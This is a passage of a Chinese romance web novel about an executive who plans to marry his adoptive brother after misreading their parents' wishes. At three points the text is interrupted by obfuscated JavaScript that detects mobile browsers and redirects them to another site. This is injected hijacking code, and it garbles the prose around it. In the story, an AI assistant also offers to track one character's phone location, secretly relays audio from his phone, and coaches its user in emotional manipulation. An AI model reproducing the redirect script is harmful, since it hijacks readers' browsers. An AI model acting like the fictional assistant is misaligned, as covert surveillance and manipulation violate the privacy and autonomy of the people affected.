陆然想到昨天晚上直播间里面的事情,手指在竹竿上不安地敲了敲,试探道:“我们两个,要不要试试?” 何毓秀偏头:“嗯?” “……试试,交往?” 他其实有些忐忑。但他不明白何毓秀为什么会给他送那么多的礼物,面对这样的人,这样的事,很难不让人受宠若惊。不仅仅只是因为那些东西的价值,更因为,何毓秀本人的态度。 何毓秀也显得有些意外,他很快便想透了怎么回事:“昨天的事情是我自己在购买情绪价值,你不用太往心里去。” 他往日其实也没这么大手大脚,毕竟他手头没什么自己的资产,不说一分钱掰两半花,但不必要的东西从来都是能不买就不买。 这两天确实憋了些火。毕竟他辞职的时候,金煦可是连遣散费都没提一嘴,转脸却为了一个陌生人连集团业务都差点停了……自己花钱,他每一笔都记在小本本上,账单来来回回能翻个千百遍,每个月自己在宋即安喝了多少酒他都记得清清楚楚……什么东西! 就算自己不是亲生的,他也不至于这么盯着守着吧? 何毓秀想着想着又开始有点冒火。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213091|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他调整了一下呼吸,想摸一下悟道小金蟾,又想起来把它放在了家里。 往日工作的时候,他是一定要把小金蟾给带在身边的,只要在金煦那里受了气,就使劲去盘小金蟾身上的财包,圆滚滚的颗粒压过手掌心,再看一眼它两耳不闻窗外事的样子,逐渐就感觉自己正在一分为二,有一半灵魂仿佛跟着一起入了定。 但不工作的时候何毓秀基本是不带的,因为外面没人给他气受。 陆然不知道这么几秒钟的功夫他心中已经又是一片野火,他握着竹竿,道:“不是因为这个……是我之前就有点……” 两人距离远,何毓秀没听清后面一句,只见他看上去越来越紧张,脸上的汗珠连串往脖子里滑,便笑了声,道:“行,那就试试。” 在这方面他总不能被碳基AI给甩在后头。 话说完了,但相处方式却没有任何改变,只是肉眼可见地,陆然一下子振奋了很多,他很快又开始转移话题:“你弟弟的朋友是不是有一个姓邱的?” “他朋友不多,姓邱的还真没见过,怎么了?” 陆然想到自己宿舍里面那点儿小心思,到底是有些说不出口,道:“就是我一个朋友,说认识你弟,我就想着万一以后见了面,多少也有个话题。” 他感觉金煦似乎不太好相处的样子,那天打电话的时候甚至还有些敌意……但他也能理解,毕竟自己跟何毓秀的确不太般配。 他又看了一眼何毓秀,再次移开视线,心中惊喜连着忐忑,逐渐转为了一种莫名的坚定。 下午两点,PPC的分析报告终于出来了。 四点的时候,金煦看完了所有的报告,神色看上去有些迷惘。 又半小时后,他逐渐好像想通了什么,问PPC道:“何毓秀现在在哪?“ PPC道:“您需要让我读取他的手机定位吗?” 金煦想了想,道:“听听他在干嘛。” PPC又酝酿了一阵,回复道:“稍等。” 何毓秀的手机被随手放在露营的小桌子上,无声无息地亮了一下,屏幕又很快暗淡。 金煦很快接收到了一段声音:“又钓上来一条!晚上去宋哥那,借他厨房给你做红烧鱼怎么样?” 伴随着隐隐的风声,接着是何毓秀的声音:“我热得半死钓上来的鱼,干嘛要给他分?去我那儿吧,看看你的手艺。” 陆然似乎有些受宠若惊:“今,今天就去你家吗?” “怎么,你昨天不是还说要去我家坐坐?” “……我就是感觉,太快了。” 又是何毓秀的声音,带着笑:“逗你的,我在晴晖庭有一套房子,可以去那,你会打游戏吗?” “当然会,你喜欢玩什么?” “分手厨房?” “……” 声音戛然而止,金煦盯着屏幕看了一阵,道:“分手……是代表他们已经在一起了吗?” “你的猜测是非常有逻辑的,从对话中看,他们语气轻松,态度亲密。何毓秀很明显有诱导对方同居的倾向,这代表着他已经迫不及待想要与对方进行更深一步的亲密接触了。” 金煦最后一段话看了几秒,抬腕看了一下手腕,合上电脑走了出去。 “宋维客。”他开口,很快有一个年轻人跑了进来:“金总!” “去晴晖庭。” 回去的路上是陆然开的车,何毓秀舒舒服服地坐在副驾驶,想到往日自己给破弟弟开车的日子,看新弟弟的眼神又温柔了一些。 原来谈恋爱是这种感觉啊……还真不错。 车子驶入市区的时候,太阳已经偏西,何毓秀把绿豆水倒出来又喝了一杯。 “少喝点,留点肚子晚上吃饭。” 他也是没想到,何毓秀居然这么喜欢喝绿豆水,那么大的杯子,他自己几乎下去了大半。 “还不知道你的手艺行不行,我们待会不会要另外叫外卖吧?” “虽然我不懂面点,但菜做的还不错。”陆然说这话的时候很自信:“高中暑假的时候经常去表姐那边帮工,自己上过手。” 长得帅,会音乐,勤工俭学 ,还会做饭,艺术与居家并存,宋即安的眼光果然不错。 何毓秀心中又满意了几分。 车子很快来到晴晖庭,何毓秀下来的时候,就发现自己那栋楼下停了一辆熟悉的大黑车。 这车不光是长得扎眼,位置也停的不太对,陆然的目光接触到上面的车牌号,立刻便确定了里面车主的身份。 车门拉开,金煦从里面走了下来。 这还是陆然第一次见到金煦真人,他显然受了伤,头上缠着纱布,但并没有任何的病号特质。眼眸是亚洲人极为少见的浅灰,在阳光下看上去有些不真实。 他曾经在科技展的荧幕见到过金煦的形象,过分完美的五官,因为虹膜的色彩而显得像个类人AI,身上自带一种对全世界都无感的冷淡,即便跟人对话,你也能感觉到他只是在应付,没有不耐烦,但也绝对不包含任何诚意。 如果说何毓秀是文化修养浸润之下的一撇一捺,充满着曲折的礼节之美,那么他铁定就是数据流打磨出来的零和一,冷静,精准,几乎没有任何笔锋。 想到自己现在的身份,陆然下意识露出笑容,主动上前,道:“你好……” “你好。”金煦的声音就像是他这个人,他直接伸出手来,果断地与他交握,平静地丢下一颗惊雷。 “何毓秀青梅竹马的男朋友,高中就同居了。” 10. 第 10 章 陆然浑身都僵了一下,神色看上去有些隐隐的呆滞。 两秒后,他猛地转动视线去看何毓秀,后者也经历了短暂的无言,但神色始终平静:“竹马你好,这是我的天降,既然来了就一起吃饭吧,咱仨把日子过好比什么都强。” 陆然:”……” 金煦:“?” 何毓秀的话似乎成功把惊雷化作了一句玩笑,陆然与金煦握手,配合道:“竹马你好,我是天降……呃,陆然。” 何毓秀已经径直走入电梯,金煦很用力地看着陆然,后者在他越来越紧的握手中及时抽身,匆匆跟上了何毓秀的身影。 没想到这对兄弟相处这么古怪……他心中有些隐隐的诡异,还有些许挥之不去的疑虑。 电梯上升很快,除了何毓秀外,其他两人明显都有些不在状态,短短几秒,陆然一对上金煦的视线就下意识陪笑,金煦则一直不断将视线在他俩之间交替,像是在进行多线程并行建模,想要找到某种逻辑。 电梯来到二十五楼,何毓秀率先走进去,指纹解锁,道:“鞋柜里面有一次性拖鞋,自己换了。” 后方两人一起进门,金煦看了陆然一眼,后者识趣地退后,示意他先。 金煦打开鞋柜在里面搜索了一下,没有找到另外一双拖鞋,只能也换上一次性的。 陆然吐出一口气,轻手轻脚地跟着换上,何毓秀已经把鱼提到了厨房,道:“陆然,你会杀鱼吗?” “会!”陆然急忙答应,同时像是找到事情一样,快步跑过去,何毓秀道:“这个只能交给你了,我叫个外卖,让人送点菜过来,你喜欢吃什么?” “我不挑食……嗯,不吃香菜和葱姜,但还是要买点,调味用。” 何毓秀理解地点点头,道:“那我随便买点,待会做个皮蛋豆腐。” “你还会做饭呢?” “就只会这一个。” 何毓秀也没走远,直接靠在厨房旁边的吧台上,拿出手机开始点外卖。 金煦也跟着来到了厨房,站在门口,不断进行思维跃迁的大脑始终没有理出答案。 他感觉何毓秀似乎没有听懂……或者说陆然没听懂他的介绍? 他决定强调一下:“高中的时候正好是青春期,我们的确是从那个时候开始正式同居的。” 陆然处理鱼的手微微一顿,一时不确定把眼神往哪里放。金煦的态度太冷静,完全没有开玩笑的意思。 何毓秀也没想到他这么油盐不进,只能继续给他找补:“对,我们两个十五岁一起出国,在那边读完了Alevel,确实一直住在一起——毕竟两兄弟在国外,也没必要多买一套房吧?” 言下之意,金煦连所谓的“高中时期”都是在胡编乱造,毕竟他俩根本没上过国内高中,更不要提后面含糊不清的所谓同居了。 其实金煦从楼底下一张嘴,何毓秀就知道他想干嘛了。 他就是怕自己再给陆然花他卡里的钱,说高中是为了强调青春期,同居是为了强调他俩有什么不正当的关系,好逼着陆然知难而退。 那么坏呢。 自己找不着对象,还想拉着他一起孤独终老。 什么东西。 在金煦再次开口之前,他直接道:“去把垃圾扔了。” “……”金煦把垃圾拎起来放到了门口,重新走回来,还是很坚持:“爸妈一直希望我们两个结婚。” 陆然手里的鱼呲溜一下划入了盆里,被开膛的鱼还扑腾了两下,在贱起更多血水之前,被他及时按住。 何毓秀如常为他润色:“爸妈觉得我们年纪大了,是该找对象了。” 金煦终于明白了哪里不对:“不是的,是我们两个结婚。” “是的,我们两个各自成婚。” “不是!”金煦语气很重:“是我们两个结婚!” “……”何毓秀忽然也是一顿。他将目光从外卖页面转移到金煦的脸上,三秒后,指了指外面的阳台:“去那边等我。” 陆然开始剁鱼,动作轻轻的,像是在用刀刃给鱼做按摩。 何毓秀继续靠在厨房内,把所有的蔬菜全部加购好,又过来给陆然搭手,道:“有什么需要我帮忙的吗?” “……你不是,让他去那边等你?” “嗯。”何毓秀道:“让他等着就是了。” 陆然:“……” 还能这样? 半个小时后,金煦终于走了回来,刚好门铃响起,何毓秀道:“去拿外卖。” 金煦便又去拿外卖了。 等他把外卖拿过来,何毓秀又把手机丢了过去,道:“对一下菜单,看有没有拿错。” 金煦又坐在小茶几前开始对菜单。 陆然看得目瞪口呆,一边抄着锅,一边没忍住:“这样合适吗……?” “先吃了饭再说。” “……”难怪外面都说何毓秀是金曜的形象工程总负责人,他显然是不想当着自己这个外人的面多说,准备吃完饭再好好处理这件事。 陆然倒也有自知之明,两个人刚认识没多久,对方这样想是对的,而且……他看上去好像真的是第一次知道金煦对他的感情。 他垂下睫毛,轻轻翻了翻锅里的鱼。 何毓秀在一旁择菜,他虽然没有下过厨,但毕竟是个成年人,又经常在外面跟人打交道,什么都会一点。 借着做这些杂事的功夫,何毓秀也逐渐明白了金煦到底在搞什么鬼——他以为父母一直说的结婚是他俩……? 何毓秀无声吸气,又缓缓吐出。 金煦总是会陷入自己的逻辑里面很难有人能够改变,这必然又是一件相当艰巨的任务,而且,务必要在爸妈知道之前掐灭他的想法。 自己把他当兄弟,他居然想跟自己结婚?!!! 爸妈知道了都得狠狠夯他几拳。 那他前两天烧那么多钱进行的人格分析也是自己……? …… …… …… 最好不是。 他到底是从什么时候开始这么认为的?何毓秀非常确定误会的是他而不是自己,因为父母曾经问过他金煦适合什么样的人,还专门拿了一些女孩子的照片给自己看,想让自己帮忙挑选。 有时候何毓秀也会觉得很烦,因为在父母眼里金煦好像是他的责任,金煦把自己关在房间里面不出来,父母会问他对方在做什么。金煦的基因序列年年雷打不动,父母也会拉着他的手说这可怎么办。他们要是觉得金煦和哪个千金对上眼了,也会来问何毓秀:“哎,你觉得他俩有没有可能? 要是他说没有,父母就会很失望,他但凡说一句也许,父母就会打起十二分的精神。 仿佛他是金煦肚子里的蛔虫,对金煦的一切都全知全能。 “桌子擦好了。”金煦又走了过来,他显然很执着想要跟何毓秀尽快达成信息一致。但还没张嘴,何毓秀便又指挥:“把菜端过去。” 做好的饭菜一碟一碟被端上桌,金煦率先在餐桌上坐了下来,即便被使唤成了陀螺,情绪也始终稳定的可怕。 三人一起在桌前吃饭,何毓秀也没让气氛冷下来,始终温温和和地带动着话题,金煦似乎也认了命,全程只说了两句话,一句是在是在陆然聊起自己勤工俭学的时候:“看来你们家很穷。” 换来的是每次想吃什么菜,何毓秀都会先他一步夹到陆然碗里。 即便他虚晃一招去夹隔壁的菜,何毓秀也总能提前觉知。 预判他预判的死死的。 第二句就是在何毓秀准备送陆然回学校的时候:“我也要去。” 陆然已经怕了他俩的斗法,忙道:“不用了,我随便打个车就回去了。” “这样吧。”何毓秀提出建议:“我让司机送你回去,你等一下啊,我打个电话。” “不用……”何毓秀已经拿起手机,并做了个让他噤声的手势。 宋维客从来不会离老板太远,很快便又把车开到了楼下,何毓秀微笑着把陆然送上车,一直目送车子消失在小区之后,才不动声色地收起所有的温和。 就像是被吹皱的春水渐渐失去了风,重新变得平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213092|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滑如镜。 金煦跟着他一起上楼,刷电梯卡,开门,换鞋,走进浴室,何毓秀转身关门,再一转身,便发现他不知何时已经转到了自己身后,显然是踩着他的脚跟进来的。 “……”四目相对,何毓秀道:“出去。” 金煦看了看他的脸色,拉开门走了出去。 何毓秀在浴缸里面放了水,滴入精油,躺在放着木质头枕的浴缸里面,闭上眼睛缓了缓。 他还没想好怎么解决金煦这个问题……怎么那么烦人呢?!这种事情也是能说误会就误会的吗?正常人会在父母说“希望你俩赶快结婚”的时候认为是让自己和哥哥结婚吗?!!!! 疯了吗???! 脑残吗???!! 还是信息筛选障碍啊????! 雪松的精油在水中被稀释,味道有点像是雨中新鲜的断木,清新的木汁混合着水汽在肺腑之中浸润,何毓秀的心情逐渐平复了下来。 就在他逐渐昏昏欲睡的时候,浴室门忽然轻轻被扣了一下。 何毓秀一下子惊醒,心脏快得仿佛要从心口蹦出来,他又闭了一下眼睛,心情再次变得烦躁了起来。 他其实并不是一个很有耐心的人,但鬼知道为什么就活成了所有人眼中最平静也最不容易动摇的人。 敲击的声音并不大,但何毓秀总是对各种声音十分敏感,持续的低频动静里一旦混入了别的东西,他就能立马醒来。 “不要在浴缸里面睡觉。”金煦说:“容易溺水。” “……”何毓秀用力拍了一下浴池的水。 他从浴池里面跨出来,抓过浴袍裹在身上,系好腰带,重新拿起眼镜,拉开门走出去,道:“看来我们需要好好聊聊。” 金煦跟着他一起来到了房间,何毓秀直接盘膝坐在了阳台的小垫子上,神色是外面极少见的冷漠。 金煦显然也在另一个卫生间里解决了清洁问题,身上已经换上了睡衣——是何毓秀的,因为是禅式所以十分宽松,但穿在金煦身上就刚刚好。 “所以你一直觉得爸妈的意思是希望我俩结为夫妻?” “是夫夫。” “嗯。”何毓秀说:“夫夫。” 金煦点了点头。 “认真的?” “认真的。” “如果我告诉你,爸妈从来都没有这个意思呢?” 金煦的解决方法是直接拿出手机:“打个电话问一下就知道了。” 他当真拨通了何若仪的电话,何毓秀一把夺过来,用力挂断,竭力表现的平静已经有破裂的迹象。 金煦忍俊不禁:“看来你一直很清楚,误会的一直都是你自己。” “我是怕他们被你气死!!!” 金煦安静而温和地望着他,似乎在用眼神对他做安抚。 何毓秀喝了口桌子上的凉白开,道:“总之,金煦,这件事是你误会了,我们及时纠正就好了,爸妈不是这个意思,即便他们是这个意思,我也没有这个意思,你懂得吧?” “你可以跟陆然分手。” “……这跟陆然没关系。” “你们刚认识两天就交往,这本身就意味着合作的不稳定,一点风吹草动都可能直接导致关系解体,我建议及时止损,避免更多的时间和资源浪费。” 何毓秀不慎被他带走:“你凭什么这么说?” “因为我有一千种方法可以拆散你们。” 何毓秀手指抖了一下,端起凉白开又往嘴里灌,水面刚刚濡湿嘴唇,手臂却忽然像是有了自己的意识,直接一拐弯,泼到了对方的脸上。 金煦闭了一下眼睛,又缓缓睁开,脸庞濡湿,神色平静。 何毓秀将杯子放回桌面。 做都做了,也没什么好顾忌的了,大不了大打一场。 他撸了一下袖子,准备跟金煦好好算一次总账。 金煦用袖口擦干了脸上的水渍。 “你刚才专门用嘴唇碰了这杯水。” 何毓秀:“?” “是不好意思直接亲我吗?” 11. 第 11 章 金煦去卫生间里收拾自己。 何毓秀则靠在床上冷静了一阵,顺手拿起笔整理了一下此刻的情况—— 金煦是因为误认为父母让他俩结婚,所以才会想要跟他结婚。甚至极有可能是在他决定了结婚日期之后,忽然发现:哎?原来我可以跟何毓秀结婚?才会冒出这种想法。 毕竟何毓秀很能干,一直在他手下也总是把任务完成的很好,当年他俩刚从国外回来的时候,集团试练就是何毓秀为他去的,他甚至连脸都没露一下,等何毓秀在前线整顿好了子公司,就理所当然地坐上了总裁的位置。 这样一想就能理解为什么金煦在得知他谈恋爱的时候会那么应激了。 何毓秀这么好用的牛马,当然不能那么轻易放过。 卑鄙,居然想用这种方法让他继续干活。 但其实这样也是好事。 这就代表金煦并不是真的喜欢他,他只是想继续跟自己合作,结婚对于他来说只是持续与自己保持合作的方法。 等有一天他真的有了喜欢的人……何毓秀在旁边写下了HPG轴的觉醒时间。半年,只要半年内,金煦遇到了可以让他起生理反应,同时也能让他情绪激动的人,就不会再这样想了。 他还是有救的。 何毓秀顿时有了信心,顺手把纸笔放入床头的抽屉里,刚合上,反锁的门把手就被扭了一下。 外面没有了动静。 何毓秀清楚他不可能那么轻易放弃,肯定是出去找钥匙了。 但这里可不是南堤一号,金煦不常来,也不熟悉,不可能知道钥匙其实在主卧里。 很快,房门便被扣了一下,“我要进去。 “干什么?” “睡觉。” “去次卧。” “没有被子。“ ”被褥都在柜子里,这么热的天,冻不着你。“ “我头疼。”金煦在外面说:“医生说伤口不能见水,你刚才泼了我一脸,现在又裂开了。” “……”三秒后,何毓秀打开了房门,果然看到他自己把纱布摘了,左额头的伤口清晰可见,还连着线,红红肿肿地渗着血。 何毓秀抿了抿嘴,道:“去医院重新处理下。” 他准备换衣服下楼,金煦却道:“这么晚了,你帮我处理吧,我刚才看到柜子里有医药箱。” “我哪会弄这个。” “昨天晚上医生处理的时候你都看到了。” “我看到也不会啊。” “你聪明,一看就会。”说话的功夫,金煦已经把医药箱拿了进来,放在主卧的小桌上,重新坐在了刚才被泼水的位置。 何毓秀皱着眉看了他一阵,到底还是道:“坐这边,亮堂点。” 金煦又提着箱子走过来,坐在床尾的小沙发上,将医药箱放在腿上打开,方便他动手。 何毓秀蹲下去拿棉签,道:“也不知道里面的药有没有过期。” “我看过了,能用。” 何毓秀还是拿起来仔细检查了一下外用药的生产日期,回忆着昨晚医生的动作,沾了消炎水来看他的伤口。他自打近视之中看东西就有些费劲,哪怕戴着眼镜,也总是觉得光线很暗,不得不凑得近了一点,动作小心翼翼:“这两天是我不对,我跟你道歉。” 总觉得他去卫生间的时候纱布没怎么湿,怎么就又弄到伤口了…… 金煦老老实实的:“我不生气。” “……”你不是不生气,你是没那功能。何毓秀忍住吐槽欲,闭紧嘴巴,专心沾着伤口的周围。 金煦再次开口:“你这样易燥易怒的人,是经营不好婚姻的。” 何毓秀的手一顿,道:“我易怒也要看对谁。” 金煦睫毛一动,在他又去沾药水的时候,微微抬头,灰眸在灯光下流光溢彩:“你是只对我这样吗?” “不然呢?”何毓秀的语气不太好,同时用翘着小指头把他的额头重新按下去,继续上药。 金煦垂着眸子,弯唇道:“看来我对你来说也是特殊的。” “……”你当然特殊!正常人是没有几个要跟自己哥哥结婚的! 何毓秀在心里喷完,又忽然意识到什么,下意识垂眸看他。金煦的鼻梁很高,额头宽宽的,这个角度看过去,睫毛也长的过分,但凡不是基因里带BUG,多少也够得上一个人见人爱。 “你是说……我在你心里也是特殊的?” “当然。”金煦再次仰起脸,道:“你是我最重要的人,比任何人都要重要。” “……”何毓秀的心顿时就像是冬冰乍遇了暖阳,融化成了满湖春水。那一瞬间,他竟然感觉鼻头有些发酸,内心的感动无以言喻。他第二次把金煦的脑袋按下去,勉强整理了一下过分温暖的心情,声音微酸:“所以,我对你的好,你其实一直都知道。” “知道。” 何毓秀的动作越发轻柔起来,看着他的眼神也染上了温暖与软乎,最后把纱布给他贴上去,何毓秀坐在他身边,道:“那你还不叫我哥?” “我们没有血缘关系。” “那我也是老大。”何毓秀顺手摸出手机,对着他开始拍视频,道:“快叫,爸妈要是听到了肯定也高兴,你叫我哥,以后有什么情感问题我都能帮你分析,肯定比你那PPC强……而且我也可以考虑回去给你干活,怎么样?这买卖划算吧?” 金煦的目光隔着手机镜头跟他对视:“陆然叫了。” “……”何毓秀从镜头后面歪头看他,眼珠一转,道:“只要你叫了,以后这就是你专属称呼,谁也不许叫。” “真的?” “当然。”何毓秀眼看就要达成人生新成就,语气都不自觉地振奋了一些,道:“我保证,以后谁叫我都跟他急,我要让所有人都知道我是你一人的……” “老婆。” “……” “叫了就是我的专属称呼。”金煦说:“以后其他人都不许叫。” …… 莫生气,人生就特呔的像是一场戏,因为有天杀的孽缘才相聚,忍住要给他的降龙十八掌不容易…… 何毓秀对着浴室的镜子洗完了手,深呼深吸了一口,拿起手机正要把刚才录的视频删除,又忽然想到了什么,一缕狰狞爬上面孔。 让你随便叫老婆,我看等你有真老婆的时候怎么跟人家解释! 何毓秀没有阻止金煦非要跟他睡一张床。 他很确定金煦就算是嘴上说得再好听,也不可能真的对他搂搂抱抱,他脑子里面的所谓婚姻就是合作共赢,相敬如宾,他懂个屁的结婚! 回到卧室的时候,金煦已经躺下了,一看到他就朝里面去了一点,显然是真的不准备走了。 何毓秀上了床,又用力把他朝里面推了推,金煦顺势又挪了点,何毓秀先挪动身体往中间去,一直到把他挤到了床边,才重新退回来返回自己的那部分区域。 背对着金煦,开始睡觉。 金煦下了床,或许是心情好,他脚步很轻快地转过床边,亲切地给何毓秀把床头的灯关了,然后又沿着床尾绕回去躺在刚才的地方,侧身来看何毓秀的后脑勺。 如何毓秀所料,金煦果然没有要跟他亲近的意思,一夜无话,早上起床的时候,金煦告诉他:“你可能有点周期性肢体运动障碍,或者不安腿综合征。” 何毓秀“哦”了一声,对着镜子开始挤牙膏,刷牙。 “也可能涉及神经系统病变、脑供血异常、药物反应。” “……”怎么就不能是我故意踹你呢? 何毓秀把牙膏递过去,并指了指次卫。 金煦暂时放弃劝导,顺着他手指的方向走了出去。 何毓秀洗漱完成,来到客厅打开冰箱,准备把昨天的剩饭热一下随便吃点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213093|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金煦走出来,无缝接着刚才的话题:“另外也不排除电解质紊乱,我认为最好还是去医院做一个具体的检查。” 何毓秀有点烦了:“我又不是天天踹你,你不高兴可以不跟我睡啊?干嘛总说我有病?” 他语气故意很冲,金煦果然把话咽了下去,退让道:“那我们以后多睡睡,再观察看看。” 何毓秀把剩菜端出来,走向厨房,两步之后,手里的大碗忽然被丝滑无比地接走,何毓秀的脚步甚至还没停下,就不得不转过脸来看他,金煦已经来到了客厅,把剩饭倒在了垃圾桶:“剩饭存放超过四个小时,细菌繁殖速度就是几何级的,尤其是鱼类,二次加热也不能完全杀菌。” 何毓秀看着垃圾桶里面的大半条鱼,习惯性地站着没动。 金家并不是不吃剩饭,何若仪有时候遇到特别合口味的饭菜舍不得倒掉,也会吃上两顿。所以金煦并不是在跟剩饭对抗,而是因为昨天的做饭人。 金煦把碗端回厨房,道:“而且,早上吃那么油腻容易血糖飙升,你中午什么都不做了?” 都已经辞职了还做什么?给你当牛做马吗?一大早的,何毓秀也不想跟他吵架,他径直走向卧室,直接一头扎在床上,抬手抓过床头放着的小流氓兔,开始想他的小男朋友。 没多久,外面忽然传来一阵滋啦啦的煎炸声,何毓秀动了动鼻尖,下意识偏头朝外看了一眼。 他非常确定,金煦从来都没有下过厨房。 心中拉响警报,何毓秀翻身从床上跳下来,飞奔入客厅。 金煦怔平静地把煎好的鸡蛋放在碟子里,顺手把从微波炉里面解冻的肉肠剪开,丢入了锅内。 蛋,肠,还有两片全麦面包,以及加热得刚刚好的牛奶。 何毓秀像看UFO一样盯着他,直到他将手机收起,才意识到对方是在跟着PPC学做饭。 他还顺手把锅给洗了,锅底也擦得干干净净,直到做完这一切,才端起早餐走出来,“我给你准备了茶氨酸胶囊,你是不是没有吃?” “……”何毓秀神色诡异地看着桌子上火候刚刚好的金黄色煎蛋,一边拉开椅子坐下,一边道:“谁让你进厨房的?” “这很简单。”金煦说:“如果你需要的话,以后我可以每天给你做。” “……”神色呆滞。 门外传来动静,金煦起身走过去,接过了外卖袋,又重新走回来,从里面取出一个小瓶子,来到何毓秀面前,示意他伸手。 米白色小药片落在他的掌心,金煦收起剩余,坐在他对面,道:“可以跟牛奶一起口服,多吃几天,晚上就不会睡不好了。” 何毓秀把药片吞下,目光落在对方的脸上,心中刚有一点复杂的感动,金煦对他露出了笑容:“陆然只会让你吃剩饭,但我会做新的给你。” “……” “陆然家里很穷,最重要的高中时代,还要把时间浪费在打工上面,而我们家很有钱,你应该很清楚,我们有自己的信托公司,银行那边也有持股。” 面前的煎蛋逐渐在失去味道。 “你跟他在一起,只能过苦日子,或者倒贴资源。你加班的时候,妈可以随便给你买一套房,而他们那种家庭,怕是连两百平的小房子都买不起。” 手中的筷子被放了下来。 “你最擅长的就是风险与回报分析,你可以好好想想,如果我和陆然同时掉进河里,谁沉底对你影响最大?” “是你。”何毓秀说:“如果陆然沉底,我应该会有一点点的伤心。” 金煦点头,神色有种稳定的自信。 “如果你沉底……”何毓秀说着说着,忽然没忍住笑了起来:“那金家所有的财产不就都是我的了?金曜,信托,银行哈哈……还有妈名下的那几座楼,这影响——” 他尝试控制了一下自己的情绪,沉静而温和地道:“确实是非同一般的大。” 12. 第 12 章 何毓秀感觉不能这么继续下去。 虽然早上跟金煦打嘴仗赢了,也算是出了半口恶气,但这样下去早晚有一天会暴露自己的狼子野心……哎,都怪金煦昨天说他是很重要的人,搞得他现在有点飘了,万一对方是在钓鱼执法怎么办? 放在以前,那种话绝对不可能从自己的嘴巴吐出来。 他一直都非常有分寸的! 而且,他跟金煦也不能一直这么下去,要是这半年里出了什么差错,被爸妈听到了什么风声,估计要误会他也对金煦有意思了,那对父母来说绝对是双重打击。 到底有什么方法可以让金煦放弃跟他结婚呢? 另一边,金煦在厨房洗完了碗,把碗筷仔仔细细归纳整齐,之后重新回到了餐桌前,拿起了手机。 全人格拟态分析之后,两人的匹配评分已经大幅度下降,如今已经来到了-43.3%。 金煦抿嘴,先开了一个临时对话框,勾选了不给记忆。 然后在里面询问:“何毓秀有什么理由不跟我在一起?” 一个很简单的问题,PPC却好像运算了很久:“您可以跟他沟通一下,问问他的想法。” “何毓秀刚才说如果我在河里死掉,家里所有的财产就都属于他了。” “这应该是一种委婉的劝解,让您好好珍惜生命,可千万便宜了他。根据统计,大约72%的用户在不擅长表达感情时,都会选择用幽默或反向表达的方式传递关心。” 金煦看了一眼上方的得分条,匹配度没有下降。 他关掉临时对话,在正式对话中输入:“何毓秀刚才说如果我在河里死掉,家里所有的财产就都属于他了。” PPC开始运算,大约三十秒后,上方本来就已经见红的得分条再次像是被什么痛击了一下,得分值来到了-41.2%。 一段话冒了出来:“我们不是说好了先装可怜吗?为什么会突然聊到这种话题?” “……”金煦安静了三秒,“我只是想告诉他我和陆然同时掉进河里,哪个对他的打击更大。” 短暂的运算之后,一行黑字快速浮出屏幕:“请立刻停止这种这种话题!这只会让他误认为自己被量化、被评估,而不是被喜欢。在亲密关系的早期阶段,任何形式的对比和权衡都会拉低安全感,您现在最需要做的是保持稳定、可预测和高价值的陪伴,避免任何‘谈判模式’!” 后方传来动静,金煦下意识将手机收起,偏头去看。 何毓秀换了一身休闲的宽松T恤,看上去要出门,但人并没有直接朝门口去,而是走过来坐在了他身边,偏头道:“能不能问一下,你是什么时候想要跟我结婚的?” “23岁。” 何毓秀又朝他挪了挪,金煦顺势朝后面退去,给他留出充足的空间,何毓秀抿着嘴,道:“所以你早就开始,喜欢,我了?” 他故意在‘喜欢’两个字上面停留,好让对方知道话题的重心在哪。 同时取出手机,把PPC搜索的喜欢含义给他看:所谓‘喜欢’,从生理角度上说,是由大脑边缘系统激活引起的多巴胺、去甲肾上腺素、肾上腺素分泌增加,心率加快,瞳孔放大,手心出汗。 他看着金煦,嗓音柔和:“你有吗?” 金煦盯着那段话看了一阵,似乎在权衡究竟是说真话还是说假话,在他又去摸手机的时候,何毓秀道:“真诚是建立亲密关系最重要的一环,你不会不知道吧?” 何毓秀又朝他靠近,这一次,金煦没有后退,他由着何毓秀的身体与自己接触,目光有种刻意的专注。 “怎么?说不出来?” 金煦最终还是摇了摇头,道:“但我一直在观察你。” “观察我什么?” “观察你适不适合跟我结婚。”说到这里,他似乎重新坚定了某种信念:“我们在三天前就已经达到了99%的高匹配度,虽然还没有到绝对值,但这足以证明,我们的婚姻稳定性在可预测范围内是最优解。” “而你何毓秀。”金煦凝望着他,道:“你易燥易怒还有暴力倾向,跟任何在一起都不可能比跟我走得更远,你自己应该也非常清楚这一点。” ……我跟任何人在一起都会比跟你走得更远!何毓秀很想冲他,但谈判的时候最忌讳的就是跟着对方的节奏走,他抬起手指,轻轻戳了一下对方的胸口,道:“但你心里没我。” 金煦睫毛动了动。 